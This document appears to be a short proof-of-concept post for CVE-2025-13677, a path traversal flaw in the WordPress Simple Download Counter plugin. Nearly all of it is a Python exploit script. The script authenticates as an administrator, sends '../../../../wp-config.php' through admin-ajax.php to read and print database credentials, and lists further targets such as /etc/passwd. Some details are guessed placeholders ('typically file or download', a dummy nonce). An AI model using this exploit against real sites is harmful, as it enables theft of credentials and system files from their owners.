CVE-2025-13677 WordPress Simple Download Counter路径遍历漏洞

import requests import base64 # CVE-2025-13677 PoC - WordPress Simple Download Counter Path Traversal # Requires administrator-level access to WordPress target_url = "http://target-wordpress-site.com" # Get WordPress nonce for authenticated requests login_url = f"{target_url}/wp-login.php" download_url = f"{target_url}/wp-admin/admin-ajax.php" # Authentication credentials (Administrator level required) username = "admin" password = "password" session = requests.Session() # Step 1: Login to WordPress login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Get CSRF token/nonce from admin page admin_page = session.get(f"{target_url}/wp-admin/admin.php?page=simple-download-counter") # Step 3: Exploit Path Traversal to read wp-config.php # The vulnerable parameter is typically 'file' or 'download' exploit_data = { "action": "simple_download_counter_download", "file": "../../../../wp-config.php", # Path traversal payload "nonce": "YOUR_ADMIN_NONCE" # Replace with valid nonce } response = session.post(download_url, data=exploit_data) # Step 4: Decode and extract sensitive information if response.status_code == 200: # Content may be base64 encoded or raw try: content = base64.b64decode(response.content).decode('utf-8') except: content = response.content.decode('utf-8', errors='ignore') # Extract database credentials if "DB_NAME" in content: print("[+] Successfully extracted wp-config.php content") print(content) else: print("[-] Exploitation failed or unexpected response") else: print(f"[-] Request failed with status code: {response.status_code}") # Additional targets for path traversal: # ../../../../etc/passwd # ../../../../etc/hosts # ../../.htaccess # ../../../wp-includes/version.php